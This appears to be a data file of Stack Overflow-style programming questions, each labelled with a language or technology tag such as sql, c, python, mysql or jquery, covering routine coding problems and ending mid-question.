filter max value rows for each entry  please if i want to get a max(changeno) row for each  number  entry (when note is a join column from another table)  like query:   <pre><code>select t0.id  t0.number  t0.date  t0.changeno  t1.note  from      table t0 inner join table2 t1 on t0.joinid = t1.joinid  where     changeno = (select max(changeno) from table)  </code></pre>   but this takes the max from the  global max   not from the max for each same  number  entry.   <pre><code>input data: id|number|date|changeno|note 01|150052|1603|00000001|0x22 02|150052|1603|00000002|0x45 03|150052|1603|00000003|0x64 04|150053|1603|00000001|0x89 05|150053|1603|00000002|0x56 06|150054|1603|00000001|0x77 07|150054|1603|00000002|0x84 08|150055|1603|00000001|0x46   expected output: id|number|date|changeno|note 03|150052|1603|00000003|0x64 05|150053|1603|00000002|0x56 07|150054|1603|00000002|0x84 08|150055|1603|00000001|0x46] </code></pre>,sql
forward declaration container used to simplify class constructors  i work on a huge legacy project. there are a number of classes that are created basically only once (they should be singletons  but oh well) and then passed around to almost every other class in the program.    so there is lots of code like this where the class has a nearly endless list of pointers in its constructor   <pre><code>foo(a* a  b * b  c * c  ...)     : foo2(a b c)       _a(a)       _b(b)       _c(c)       ...  {}  </code></pre>   i was thinking i could clean it up if i used an class to contain all of the pointers and use forward declaration to avoid creating more include dependencies. each class could use the getters then to pull out anything they needed and include the appropriate headers.    <pre><code>//no includes required class a; class b; class c; class interfacemngr { public:       interfacemngr(a * a  b * b  c* c)        :_a(a)          _b(b)          _c(c)       {       }      a * geta() const { return _a; }      b * getb() const { return _b; }      c * getc() const { return _c; }  private:      a * _a;      b * _b;      c * _c; }; </code></pre>   so the foo example would look something more like this now   <pre><code>foo(interface * inf)   : foo2(inf)     _a(inf-&gt;geta())     _b(inf-&gt;getb())     _c(inf-&gt;getc()) {} </code></pre>   the nice thing is whenever a new class api comes into the picture i can just add it to interface and don t need to change a few hundred constructors again....    does anyone see an issue with this  i feel like i m over exposing access to some classes  but it really simplifies editing the code.,c++
sporadic windows service failure under .net 4  followed by port blocked on restart attempt  about once a day  i am receiving the following error in our mission-critical trading service.   <blockquote>    source: .net runtime  type: error  application: application.exe    framework version: v4.0.30319  description: the process was terminated   due to an internal error in the .net runtime at ip 000006447f281dbd   (000006447f100000) with exit code 80131506.  </blockquote>   after receiving this error and trying to restart the application  it appears that the sockets we were bound to have not been cleaned up from the previous (failed) execution because we receive a <code>system.servicemodel.addressalreadyinuseexception</code> when trying to bind the socket during startup.    i have two questions around this.    <ol> <li>we need to understand why the first error is occuring  do you have any information from the error codes  etc. </li> <li>we need a way to be able to bind successfully after the error has occured. any suggestions on how to cleanup the ports during the next startup.</li> </ol>   the environment the application is running under is    <ul> <li>microsoft windows server 2003 r2 </li> <li>standard x64 edition</li> <li>service pack 2 </li> <li>2x 4core intel cpu x5365 @ 3.00ghz</li> <li>16.0 gb of ram.</li> </ul>,.net
errors while attempting to install python 2.7.13 and 3.5.2 on windows  i have been trying to install either <em>python 2.7.13</em> and <em>3.5.2</em> on <em>windows 64</em>-bits. i continue to get the following error:   <pre><code>error writing file: c:\python27\tcl\tcl8.5\encoding\ascii.enc.  verify that you have access to that directory. </code></pre>   i have tried everything suggested on google search outcomes  including trying to install it in a drive other than <code>c</code>  running <code>chkdsk</code> at boot time and many other suggestions. i verify that i have full access to the directory. i also tried the installation as administrator. nothing works for me.    can someone help     thank you.,python
i am getting error please help me to resolve this error..i have written code below <pre><code>#include&lt;stdio.h&gt; void main() {     int *j;     void fun(int);     fun(&amp;j); } void fun(int *k) {     int a=10;     k=&amp;a;     printf( %d\n%d\n%d\n  k &amp;a *k); } </code></pre>,c
get rolled up sub total and total by joining multiple tables  extending <a href= https://stackoverflow.com/questions/38527516/rolling-up-addition-using-mysql/38531931 noredirect=1#comment64459120_38531931 >rolling up addition using mysql</a>    i can get rolling sum of rows <a href= https://stackoverflow.com/users/1529673/strawberry >https://stackoverflow.com/users/1529673/strawberry</a> s answer for basic stuff so i tried to extend query by joining multiple tables but 1_keyworddefs.name= k2  is not affected. getting same answer for 1_keyworddefs.name= k1  and k2.   <h1>working query but directly by specifying 1_bugs.bug_id= 2 :</h1>  <pre><code>select x.*  x.cf1 + x.cf2 sub_total  sum(y.cf1 + y.cf2) total from 1_bugs x inner join 1_bugs y on y.bug_id &lt;= x.bug_id inner join 1_keywords on 1_keywords.bug_id = y.bug_id where (x.bug_date between  2016-07-19  and  2016-07-22 ) and (x.bug_id= 2 ) and (y.bug_status =  verified  or y.bug_status =  closed ) and (1_keywords.bug_id = x.bug_id) group by x.bug_id  </code></pre>  <h1>exact output (but i want to join table where 1_keywords.bug_id=1_bugs.bug_id matches instead of directly specifying 1_bugs.bug_id= 2 ):</h1>  <pre><code>bug_id  bug_date    cf1     cf2     bug_status  sub_total   total    2       2016-07-19  2       1       verified    3           3 </code></pre>  <h1>non-working query by joining tables (expecting answer like above):</h1>  <pre><code>select x.*  x.cf1 + x.cf2 sub_total  sum(y.cf1 + y.cf2) total from 1_bugs x inner join 1_bugs y on y.bug_id &lt;= x.bug_id left join 1_keywords on 1_keywords.bug_id = y.bug_id left join 1_keyworddefs on 1_keyworddefs.id=1_keywords.keywordid and 1_keyworddefs.name= k2  and 1_keywords.bug_id = y.bug_id where (x.bug_date between  2016-07-19  and  2016-07-22 ) and (y.bug_status =  closed  or y.bug_status =  verified ) group by x.bug_id;  </code></pre>  <h1>expected:</h1>  <pre><code>bug_id  bug_date    cf1     cf2     bug_status  sub_total   total    2       2016-07-19  2       1       verified    3           3 </code></pre>  <h1>actual:</h1>  <pre><code> bug_id     bug_date    cf1     cf2     bug_status  sub_total   total     2          2016-07-19  2       1       verified    3           3  3          2016-07-22  2       2       closed      4           7 </code></pre>   ** here bug_id -> 3 row comes wrongly because 1_bugs.bug.id=1_keywords.bug_id doesn t match and there is no 1_keywords.bug_id= 3  present in 1_keywords table.    ddls:   <pre><code>-- 1_bugs table1 (master table) :  create table `1_bugs` (`bug_id` int(11) not null  `bug_date` date not null  `cf1` int(11) not null  `cf2` int(11) not null  `bug_status` varchar(200) not null) engine=innodb default charset=latin1;  insert into `1_bugs` (`bug_id`  `bug_date`  `cf1`  `cf2`  `bug_status`) values (1   2016-07-19   3  2   resolved )  (2   2016-07-19   2  1  verified )  (3   2016-07-22   2  2   closed );  -- 1_keywords table2 (having keyword ids):  create table `1_keywords` (`bug_id` int(11) not null  `keywordid` varchar(11) not null) engine=innodb default charset=latin1;  insert into `1_keywords` (`bug_id`  `keywordid`) values (1   k1 )  (2   k2 );   -- 1_keyworddefs table3 (having keyword names according to keywordid):  create table `1_keyworddefs` (`id` int(11) not null  `name` varchar(200) not null  `description` varchar(200) not null) engine=innodb default charset=latin1;  insert into `1_keyworddefs` (`id`  `name`  `description`) values (1   k1    my k1 item )  (2   k2    my k2 item ); </code></pre>   can someone please point me what i m doing wrong,mysql
how to skip first row and add heading to download csv file  this is my code:   <pre><code>&lt;script type= text/javascript &gt;       functionexport(json_data   user_report   true);      function functionexport(jsondata  reporttitle  showlabel) {         var arrdata = typeof jsondata !=  object    json.parse(jsondata) : jsondata;         var csv =   ;         if (showlabel) {             var row =   ;             for (var index in arrdata[0]) {                 row += index.touppercase() +    ;             }             row = row.slice(0  -1);              csv += row +  \r\n ;         }         //1st loop is to extract each row         for (var i = 0; i &lt; arrdata.length; i++) {             var row =   ;             for (var index in arrdata[i]) {                 row +=     + $( &lt;div&gt; ).html(arrdata[i][index]).text() +     ;              }             row.slice(0  row.length - 1);             csv += row +  \r\n ;         }         if (csv ==   ) {             alert( invalid data );             return;         }         //generate a file name         var filename =  manage_ ;          filename += reporttitle.replace(/ /g   _ );         var link = document.createelement( a );         link.href = uri;         //set the visibility hidden so it will not effect on your web-layout         link.style =  visibility:hidden ;         link.download = filename +  .csv ;         //this part will append the anchor tag and remove it after automatic click         document.body.appendchild(link);         link.click();         document.body.removechild(link);     } &lt;/script&gt; </code></pre>,javascript
objective c - bundle file (facebook)  i m looking at the sample code for facebook connect (<a href= http://github.com/facebook/facebook-ios-sdk  rel= nofollow noreferrer >http://github.com/facebook/facebook-ios-sdk</a>) and noticed that it is using a fbconnect.bundle file that contains some images.      i have never used a bundle file and am just curious as how to create / edit it.<br> is it done through xcode     thanks <br> tee,objective-c
error in c# when i delete a row  i recive  deletedrowinaccessible exception   deleted row information cannot be accessed through the row .    i recived this exception on this code when delete a row.   <pre><code>bindingsource_listchanged(-) {     payment=(from row in servicedataset.servicedataset.serviceorderpayments     where row.code==serviceordersrow.code     select row.payment).sum() } </code></pre>   i use this code to calculate sum of payments.    but when i delete a row and rowstate of row set to deleted i recive this error.    plz help me,c#
error#2002 (connection refused)  php script is connecting through <code>mysqli</code> lib    script is running on localhost and connects to remote <code>vps server</code> with <code>ipv4 host</code> name    so i m getting #2002 (connection refused) error.     vps is running under centos. /etc/my.cnf includes <code>bind-address 0.0.0.0</code> option    what s wrong with it,mysql
method in api cause error in model because model is named the same  i have a phonenumber model  that s connected with twilio inside it i validate the number  and i think what s happening is i m calling <code>response.phone_number</code> on twilios api and the model thinks that <code>phone_humber</code> is me referencing the <code>phone_number</code> in the model. the model is stored like this:    phonenumber   <ul> <li>phone_number</li> </ul>   so it s phonenumber.create(phone_number:  some number )    is there a way to avoid this  here s my code:   <pre><code>  def valid_number     lookup_client = twilio::rest::lookupsclient.new(env[ twilio_account_sid ]  env[ twilio_auth_token ])     begin       response = lookup_client.phone_numbers.get(phone_number)       response.phone_number       return true     rescue =&gt; e       if e.code == 20404         errors.add(:phone_number   number is not valid )         return false       else         raise e       end     end   end </code></pre>   the error returns:   <pre><code>undefined method `phone_number  for &lt;twilio::rest::lookups::phonenumber @path=/v1/phonenumbers/&gt;:twilio::rest::lookups::phonenumber </code></pre>,ruby-on-rails
remove a subdirectory without knowing the directory c#  quick question  i ve listed all directories and subdir from a directory to a listbox but i need to remove a subdir from listbox.   <pre><code>listbox1.items.addrange(directory.getdirectories( c:\\root\\    *   searchoption.topdirectoryonly)); </code></pre>   my problem is i don t know the origin path   <pre><code>c:\\root\\unknow\\path_to_remove_from_listbox\\ </code></pre>   i know i need to do something like that:   <pre><code>listbox1.items.remove( c:\\root\\  + random param +  \\path_to_remove_from_listbox\\ ) </code></pre>   but don t know how,c#
stdin stdout python  for my work i m used to work with matlab. no i try to learn the basic skills of python as well. currently i m working on on the following excersise:    <blockquote>    you are interested in extracting all of the occurrences that look like   this        <code>&lt;aug22-2008&gt; &lt;15:37:37&gt; bond energy lda -17.23014168 ev</code>        in particular  you want to gather the numerical values (eg    <code>-17.23014168</code>)  and print them out. write a script that reads the output file from standard input  and uses regular expressions to   locate the values you want to extract. have your script print out all   the values to standard output.  </blockquote>   this is the code i use:   <pre><code>import os re from string import rjust  dataex=re.compile(r        ^\s*     &lt;aug22-2008&gt;     \s+     &lt;\d{2}:\d{2}:\d{2}&gt;     \s+     bond     \s     energy      \s     lda      \s+     ((\+|-) (\d*)\. \d*)             re.verbose)     f=open( datafile_q2.txt   r )  line = f.readline() while line !=   :  line = f.readline() # get next line  m = dataex.match(line)  if m:    # print line     print m.group(1)  </code></pre>   with this code i m able to find all values in the datafile they ask for. however i do have a few questions. firstly  they ask specific something about stdin and stdout. no i m wondering do i use the right code to read the output file from standard input and do i really print out all the values to standard output in this way  futhermore  i m wondering whether there is a better or more easy way to find the required values,python
how to add edit project btn and show only in show action  how to add edit project button in application.html.erb and show only in show action     projects_controller.rb   <pre><code>class projectscontroller &lt; applicationcontroller   def show     @project = project.find(params[:id])   end end </code></pre>   application.html.erb   <pre><code>&lt;!doctype html&gt; &lt;html&gt;   &lt;head&gt;     &lt;%= stylesheet_link_tag     application   :media =&gt;  all  %&gt;     &lt;%= javascript_include_tag  application  %&gt;     &lt;%= csrf_meta_tags %&gt;   &lt;/head&gt;   &lt;body&gt;     &lt;nav&gt;       &lt;%= link_to  edit project   edit_project_path(@project)  class:  btn   %&gt;     &lt;/nav&gt;     &lt;%= yield %&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   error   <pre><code>actioncontroller::routingerror (no route matches {:action=&gt; edit   :controller=&gt; projects   :id=&gt;nil}):   app/views/shared/_nav.html.erb:17:in `_app_views_shared__nav_html_erb__1271203285425734977_70214901149120    app/views/layouts/application.html.erb:16:in `_app_views_layouts_application_html_erb___2967596751769284574_70214923607360  </code></pre>,ruby-on-rails
how to show a viedo file on html4 page  i have hosted video on our company server. now  i want to show this video in an html 4 page. what should i do   i know that in html5 it is just drag and drop but what about older version of html,html
using like in sql query  in a query in which i am looking for results based on the title of articles  i use the like part as followed:   <pre><code>where title like %searchquery% </code></pre>   in my database one title is like this:   <pre><code>economy in america </code></pre>   my problem:    with my current query  this title does <strong>not</strong> get listed  when the user enters the following searchquery:   <pre><code>america economy </code></pre>   when the user enters only one of these terms  everything works fine and the title gets listed.    how come      how do i need to adjust my query so that my sql query will also work when the user enters more than one term,mysql
absolute position prob in css  html code   <pre><code>&lt;body&gt;        &lt;div id= container &gt;                 &lt;div id= left &gt;                             &lt;h2&gt;rerererere&lt;/h2&gt;                &lt;/div&gt;                &lt;div id= right &gt;                             &lt;h2&gt;sdadsad&lt;/h2&gt;                &lt;/div&gt;        &lt;/div&gt; &lt;/body&gt; </code></pre>   css file   <pre><code>div#container { position: relative;     border: 1px solid #000; }  #left {     position: absolute;     width: 480px;     height: 480px;     border: 1px solid #0092ef;              /*        blue*/ }  #right {     position: absolute;     top: 10px;     right: 10px;     bottom: 10px;     width: 250px;     border: 1px solid #783201;             /*        brown*/ } </code></pre>   when i only use right div as absolute than there is no problem . but when i use absolute in both left and right div. right div becomes as small as line. i am new to css . so this might be a noob question . why if i put two absolute div under a relative div does not work   please help me out.,css
grabing the anchor from the li whose id is same as the cell s id  i have below is the html code for td which gets appended after matching the ids from below li html code   <pre><code>&lt;td style= border-top-style: solid; border-right-style: solid; border-left-style: solid;     border-bottom-style: solid  id= communication &gt;     communication science course &lt;/td&gt;  &lt;li id= communicationtooltip &gt;&lt;a href= #  target= _blank  class= tooltip &gt;     &lt;img src= /images/q_mark.gif  alt=   /&gt;&lt;span style= width: 300px; padding: 10px 10px 10px 55px; &gt;testing     communication.&lt;/span&gt;&lt;/a&gt;  &lt;/li&gt;  &lt;td style= border-top-style: solid; border-right-style: solid; border-left-style: solid;     border-bottom-style: solid  id= communication_1 &gt;     communication science course ii &lt;/td&gt;  &lt;li id= communication_1tooltip &gt;&lt;a href= #  target= _blank  class= tooltip &gt;     &lt;img src= /images/q_mark.gif  alt=   /&gt;&lt;span style= width: 300px; padding: 10px 10px 10px 55px; &gt;testing     communication ii.&lt;/span&gt;&lt;/a&gt;  &lt;/li&gt; </code></pre>   here is jquery which matches the relative <strong>ids</strong> and takes tag from above <strong>li</strong> and further append in above <strong>td</strong>   <pre><code>$(document).ready(function()  {          // bind to cells with an id attribute         $( table &gt; tbody &gt; tr &gt; td[id] ).each(function()          {                              // grab the anchor from the li whose id starts with the cell s id             var $tooltip = $( div:hidden li[id^=  + $(this).attr( id ) +  ] a );              //alert($tooltip);              // append it to the current cell             $(this).append($tooltip);          }); }); </code></pre>   if you see the above html code we have two different li ids <strong>(communication and communication_1)</strong> the issue is that it works fine if i use <strong>communication1</strong> as second <strong>id</strong>  however when i use <strong>communication_1</strong> it appends the anchor tag to <strong>communication</strong> td  if you check above jquery it matches the li ids starting with same id  however i want it that it should match perfect li id not starting with same id.    please amend the above jquery code.    thanks,jquery
can nsclassfromstring use in app store   seems the <code>nsclassfromstring</code> can create object on the fly based on the string  so  if i use the <code>performselector</code> and pass another string  i can call almost all the method on the fly...is this violate the app store guideline and being rejected  thanks.,objective-c
expected unqualified-id error  most likely cause   i m getting the following error:    listiterator.cpp:6: error: expected unqualified-id before ‘using’ make: <em>*</em> [listiterator.o] error 1    when compiling a linked list program. any ideas what the most likely cause could be  it should not be a scope-based problem in the intnode.h/.cpp files.   <pre><code>// listiterator.h  #include  intnode.h  //#include  nullptr.cpp   class listiterator {     private:         intnode* pointer;     public:         listiterator( intnode* );      int&amp; operator*();      listiterator&amp; operator++();      bool operator!=( listiterator liter );  }    // listiterator.cpp  #include  listiterator.h  //#include  nullptr.cpp   using namespace std;      listiterator :: listiterator( intnode* init = nullptr ) : pointer( init ) {};      int&amp; listiterator :: operator*() {         return pointer -&gt; getint();     };      listiterator&amp; listiterator :: operator++() {         pointer = pointer -&gt; getnext();     };      bool listiterator :: operator!=( listiterator liter ) {         return pointer != liter.pointer;     }; </code></pre>,c++
add/remove class of a nav ul li with jquery by clicking href inside li  i have a navigation list setup to show/hide tabs  which is working properly. i am now trying to add/remove the active class of a nav ul li item only when clicking the text of the href. currently when you click the list item (space around the text and not just the text) the active class displays. so the active class displays without clicking the link and changing the tabs.    i have tried many variations to accomplish this  with no result.   <pre><code>&lt;script&gt;   $(function(){     $( #tabs li ).click(function() {     //removes the active class from any &lt;li&gt; elements     $( li.active ).removeclass( active );     //adds it to the current element     $(this).addclass( active );     });   });  &lt;/script&gt; </code></pre>   html   <pre><code>&lt;div class= warranty-nav &gt;   &lt;ul id= tabs  class= nav &gt;     &lt;li class= active &gt;&lt;a href= #overview &gt;overview&lt;/a&gt;&lt;/li&gt;     &lt;li class=  &gt;&lt;a href= #benefits &gt;plan benefits&lt;/a&gt;&lt;/li&gt;     &lt;li class=  &gt;&lt;a href= #works &gt;how it works&lt;/a&gt;&lt;/li&gt;     &lt;li class=  &gt;&lt;a href= #terms &gt;terms and conditions&lt;/a&gt;&lt;/li&gt;     &lt;li class=  &gt;&lt;a href= #faqs &gt;frequently asked questions&lt;/a&gt;&lt;/li&gt;   &lt;/ul&gt; &lt;/div&gt; </code></pre>   thanks in advance.,jquery
don t know why i m getting a  conflicting types  error and a  implicit declaration error  in c.  i m writing a program to generate a string of random uppercase letters  then take user input of uppercase letters  along with a character form the user. for any instance of the user input letter in the random string  it replaces that letter with the character entered by the user.     for example  s1 = {bdhfkyl} s2 = {yeigh} c =  *      output = bd*fk*l    anyway  i m getting a conflicting types error at the function declaration under main and i implicit decoration at the function call. does anyone know why  thank you in advance.    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  void fills1(char x[42]);  void fills2(char x[22]);  void strfilter(char a[]  char b[]  char c);  int main(int argc  const char * argv[]) { char s1[42]; char s2[22];   fills1(s1);  //printf( %s\n   s1);  puts(s1);  fills2(s2);  strfilter(s1  s2   * );  //implicit declaration here   return 0; }  void fills1(char x[]) { for (int i = 0; i &lt; 40; i++)     x[i] =  a  + random() % 26; x[40] = (char)0; }  void fills2(char x[]){  int i = 0;   printf( please enter at least 2 capital letters and a maximum of 20.\n ); while (( x[i] = getchar()) !=  \n  ) {      i++;      }  x[i] =  \0 ;  if (i &lt; 3) {     printf( you need at least two letters ); }  else if (i &gt; 21){     printf( you cannot have more than twenty letters ); }  /*else if (((i &gt;  a )) || ((i &lt;  z ))){     printf( you many only have capital letters ); }   */     else puts(x); }  void strfilter(char a[]  char b[]  char c){ //conflicting types error here int i = 0; int n = 0;  while (n &lt; 21) {      for (i = 0; i &lt; 41; i++) {         if (a[i] == b[n]){             c = a[i];         }     }     i = 0;     n++; }  puts(a); } </code></pre>,c
making my own array in c:  i am beginner in c. i want to make an array whose size will be taken from user from scanf function because an array may have any size which is not known when program starts.    and how can i input array element as well:    i will like to have my program output as:    please enter the number of array element: 4 enter the elements: 12 43 5 6 the elements you entered are: 12 43 5 6    is it possible to do this  how can i make my output like this,c
set priority for all queries of a specific mysql user  i have a mysql instance with several schemas. my system access all the schemas using a single user. but  each schema has a specific user that is used by partners to integrate their systems using sql.    i want that all the queries executed by that partners users run with low priority comparing with the queries of my system user.    how can i create a user that have all its queries runnig with low priority using mysql,mysql
why am i getting warnings when returning array from a function   i ve seen a few examples of returning array from function on stackoverflow. i followed those examples but i am still getting warnings.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  char * getnum();  int main(){      int * num;     int * i;      num = getnum();     puts(num);      return 0; }  char * getnum(){      file * fp;     fp = fopen( number    r );      //getting a 1000 digit number from a file     char * n;                       //putting it in  array      n = (char *)malloc(1000 * sizeof(char));     char x[100];     int i  j = 0;      while(!feof(fp)){         fgets(x  100  fp);         for(i=0; i&lt;50; i++){        //getting the first 50 characters in a line             n[j] = x[i];            //to avoid  new line              j++;         }     }     fclose(fp);     n[1000] =  \0 ;      return n; } </code></pre>   <code>puts(num)</code> gives the right number should i just ignore the warnings   why are they popping up   i hope this isn t considered a duplicat.   <pre><code>cc     8.c   -o 8 8.c: in function ‘main’: 8.c:11:9: warning: assignment from incompatible pointer type      num = getnum();          ^ 8.c:12:10: warning: passing argument 1 of ‘puts’ from incompatible pointer type      puts(num);           ^ in file included from 8.c:1:0: /usr/include/stdio.h:695:12: note: expected ‘const char *’ but argument is of type ‘int *’  extern int puts (const char *__s);             ^ </code></pre>,c
python: calling a function as a method of a class  let s start with some code:   <pre><code>def func(*x):     print( func:   x)   class abc:     def __init__(self  f):         self.f1 = f      def f2(*x):         print( f2:   x) </code></pre>   now we do some tests:   <pre><code>&gt;&gt;&gt; a = abc(func) &gt;&gt;&gt; a.f1(10) func: (10 ) &gt;&gt;&gt; a.f2(10) f2: (&lt;__main__.abc object at 0xb75381cc&gt;  10) &gt;&gt;&gt; a.f3 = func &gt;&gt;&gt; a.f3(10) func: (10 ) &gt;&gt;&gt; a.f1 &lt;function func at 0xb74911ec&gt; &gt;&gt;&gt; a.f2 &lt;bound method abc.f2 of &lt;__main__.abc object at 0xb75381cc&gt;&gt; &gt;&gt;&gt; a.f3 &lt;function func at 0xb74911ec&gt; </code></pre>   note that <code>func</code> is a normal function and we are making it a method <code>f1</code> of the class.    we can see that <code>f2</code> is getting the class instance as the first argument  but <code>f1</code> and <code>f3</code> are not  even though all functions are called as class methods. we can also see that if we call a normal function as a method of a class  python does not make a bound method from it.    so why is <code>f1</code> or <code>f3</code> not getting a class instance passed to it even when we are calling it as a method of a class  and also  how does python know that we are calling an outer function as a method so that it should not pass an instance to it.    <strong>-- edit --</strong>    ok  so basically what i am doing wrong is that i am attaching the functions on the instance and not on the class object itself. these functions therefore simply become instance attributes. we can check this with:   <pre><code>&gt;&gt;&gt; abc.__dict__ ... contents... &gt;&gt;&gt; a.__dict__ { f1 : &lt;function func at 0xb74911ec&gt;   f3 : &lt;function func at 0xb74911ec&gt;} </code></pre>   also note that this dict can not be assigned to:   <pre><code>&gt;&gt;&gt; abc.__dict__[ f4 ] = func typeerror:  dict_proxy  object does not support item assignment </code></pre>,python
programmatically detect when a view is about to change.  i m attempting to implement an <code>auto-save</code> feature that will send a packet containing modified data over the network when the user changes views. the issue is that i have yet to find a way to figure out when the user is leaving the view  something such as:   <pre><code>method onchangeviewstart(param currentview  param nextview) method onchangeviewfinish(param lastview  param currentview) </code></pre>   does this exist  my navigation is using <code>uitabbarcontroller</code>,ios
apps like talking tom and using external library for manipulating recorded sound  hello i m new in iphone i just want to know how and which libraries can be used to change the pitch of the recorded audio in iphone.now i m using dirac library to do this if there is any other way to implement this then please help me ...thanks in advance:),iphone
rails where has_many not empty  my <code>campaign</code> model has_many <code>response</code>.    what i d like to do is a search that s like <code>campaign.where.not(responses.nil )</code>    basically returning a list of all campaigns that have responses.    what s the best way to do this,ruby-on-rails
shortcut for creating a list with many repeating boolean values  if i want to make a list consisting of 12 false boolean values  is there a shortcut to do this without typing out all 12  i know that <code> string   * 3</code> returns <code> string string string </code>. but <code>true * 3</code> just returns <code>3</code>.    hopefully this question isn t too simple  but i was having a hard time finding the answer by searching.,python
i installed php and apache successfully  then when i installed mysql i encountered frustrating problems  i have looked at lots of forms and threads on this site. first i installed mysql using msi installer.   <pre><code>configuration settings: - detailed configuration - developer machine - multifunctional database - initial path - decision support - enable tcp/icp networking  port 3306  add firewall exception for this port. - enable strict mode - best support for multilangualism - install as windows service  include bin directory - entered root password. </code></pre>   then when i clicked execute it freezes after writing the configuration file. - i closed that window.    then when i opened mysql command line client and typed in the root password i get this..   <blockquote>    error 2003: can t connect to to mysql server (10060)  </blockquote>   i then opened up command prompt and typed.   <pre><code>c:\program files\mysql\mysql server 5.5\bin\mysqld --install </code></pre>   got message:   <pre><code>install/remove of this service denied. </code></pre>   i ran the initial configuration as administrator and i have checked that port 3306 is open.    hope this is detailed enough. thanks.,mysql
custom ng-repeat using angularjs  i d like to use <code>ng-repeat</code> to show my results  but the template is a little bit specific...    it works using ejs like this :   <pre><code>&lt;% var i = 0; %&gt;  &lt;% vehicles.foreach(function(vehicle  index){ %&gt;  &lt;% if (i === 0) {%&gt; &lt;div class= line &gt; &lt;% } %&gt;  &lt;div class= col-3 &gt;   &lt;article&gt;     &lt;img src= /uploads/&lt;%-vehicle.thumbnail%&gt;  alt= &lt;%-vehicle.title%&gt; &gt;     &lt;h3&gt;&lt;a href= /mes-vehicules/show/&lt;%-vehicle.id%&gt; &gt;&lt;%-vehicle.title%&gt;&lt;/a&gt;&lt;/h3&gt;     &lt;p&gt;&lt;%-shorttext(vehicle.description  50)%&gt;&lt;/p&gt;     &lt;span&gt;&lt;%-formatnumber(vehicle.pricettc)%&gt;&lt;/span&gt;   &lt;/article&gt; &lt;/div&gt;  &lt;% if(i === 3) { %&gt; &lt;/div&gt; &lt;div class= space-10 &gt;&lt;/div&gt; &lt;% i = -1; %&gt; &lt;% } %&gt;  &lt;% i++; %&gt;  &lt;% }); %&gt; </code></pre>   using angularjs i d like to know how to do  my code doesn t work...   <pre><code>&lt;div class= line  ng-if= $index%3 == 0 &gt;   &lt;div class= col-3 &gt;     &lt;article&gt;       &lt;img src= /uploads/{{vehicle.thumbnail}}  alt= {{vehicle.title}} &gt;       &lt;h3&gt;&lt;a href= /mes-vehicules/show/{{vehicle.id}} &gt;{{vehicle.title}}&lt;/a&gt;&lt;/h3&gt;       &lt;p&gt;{{vehicle.description | short}}&lt;/p&gt;       &lt;span&gt;{{vehicle.pricettc | formatnumber}}&lt;/span&gt;     &lt;/article&gt;   &lt;/div&gt; &lt;/div ng-if= $index%3 == 0 &gt; </code></pre>,angularjs
parameter  @myleft  must be defined  my question is quite similar to already answered ones but yet not. i d like some help sorting this out.    i m trying to add data to a database table but i get keeping the titled error. here s my mysql-code:   <pre><code>dim objcmdinsert as new mysqlcommand( lock table threads write;set @myleft := lft;select @myleft from threads where threadid =    &amp; request.querystring( id ) &amp;   ;update threads set rgt = rgt + 2 where rgt &gt; @myleft;update threads set lft = lft + 2 where lft &gt; @myleft;insert into threads(threadid  category  userid  ipaddress  section  subject  summary  body  tags  postedat  updatedat  rating  status  lft  rgt) values( threadid   category   userid   ipaddress   section   subject   summary   body   tags   postedat   updatedat   rating   status  @myleft + 1  @myleft + 2);unlock tables;   objconn)  objcmdinsert.parameters.add(  threadid   mysqldbtype.varchar  36).value = guid.newguid.tostring() objcmdinsert.parameters.add(  category   mysqldbtype.varchar  36).value =  articlecomment  objcmdinsert.parameters.add(  ipaddress   mysqldbtype.varchar  20).value = httpcontext.current.request.servervariables( remote_addr ) objcmdinsert.parameters.add(  section   mysqldbtype.varchar  36).value = dbnull.value objcmdinsert.parameters.add(  userid   mysqldbtype.varchar  36).value = getstubs.getuserguid(httpcontext.current.user.identity.name.tostring()) objcmdinsert.parameters.add(  subject   mysqldbtype.varchar  500).value = dbnull.value objcmdinsert.parameters.add(  summary   mysqldbtype.text).value = dbnull.value objcmdinsert.parameters.add(  body   mysqldbtype.text).value = commentbody.text objcmdinsert.parameters.add(  tags   mysqldbtype.varchar  500).value = dbnull.value objcmdinsert.parameters.add(  postedat   mysqldbtype.datetime).value = datetime.now.tostring() objcmdinsert.parameters.add(  updatedat   mysqldbtype.datetime).value = datetime.now.tostring() objcmdinsert.parameters.add(  rating   mysqldbtype.int32).value =  0  objcmdinsert.parameters.add(  status   mysqldbtype.varchar  200).value =  open  </code></pre>   what am i doing wrong,mysql
about tracking user idle time  i found at  <a href= https://stackoverflow.com/questions/14543842/tracking-user-idle-time-within-the-app-in-android/20036423#20036423 >tracking user idle time within the app in android</a> an answer which i tried to use  but it does not work for me.    i tried to use the above mentioned code but i get nullpointerexception because spreferences is null in getelapsedtime(). any idea how to fix this  hopefully somebody would be kind enough to help.,android
where are ios layout guidelines   i have been trying to find a reference with details on the offset guidelines for subview layouts in ios with no luck.  i first looked in the ib guide  and in the section about layouts  it indicates that the ib guides (the blue lines) use guidelines supposedly described in detail in the ios mobile hig  but i searched that document and didn t find any such guidelines.    anyone know where it s specified  or am i just going to have to piddle with ib and write down numbers on sticky notes,ios
what action after  submit    in rails after pressing submit button in  new  i automatically come to  create  (similar after  edit  to  update ). all my params getting in  new  available in  create . this is by default.  if i have  export  instead of  new  and  process_export  instead of  create  - how reach similar effect,ruby-on-rails
return sql lookup values from multiple columns in a single row  i am working on a data export and need to return the values from a lookup table were there are multiple values to lookup from the same table in a single row.    example    <img src= https://i.stack.imgur.com/zfzup.png  alt= example tables >    i essentially need to replace the 3 id columns with values from the lookup table keeping to a single row in the export.    help is appreciated.,sql
multiple form select statements  i think i may have a unique issue  or at least i cannot seem to find an answer anywhere on the internet.  i have a form that when a selection is made on a select option above it choose the next select option to show.  so basically i have multiple select options with the same name but only one group of select options shows up depending on what i selected on the choice before it.  the problem is that when i make a selection to a select option in the first group  the result (value) always shows up as the first option in the last select statement with the same name.  here is a snippet:   <pre><code>&lt;label for= mainissue  id= mainissuelabel  class= labeltitle  style= display:none; &gt;main issue:&lt;/label&gt;                  &lt;select name= mainissue  id= warrantyfiltrationtype  style= display:none; &gt;                         &lt;option value= type filtration &gt;select one&lt;/option&gt;                         &lt;option value= cp2000 &gt;cp2000&lt;/option&gt;                         &lt;option value= rx &gt;rx&lt;/option&gt;                         &lt;option value= sfs &gt;sfs&lt;/option&gt;                         &lt;option value= sfx &gt;sfx&lt;/option&gt;                         &lt;option value= rp 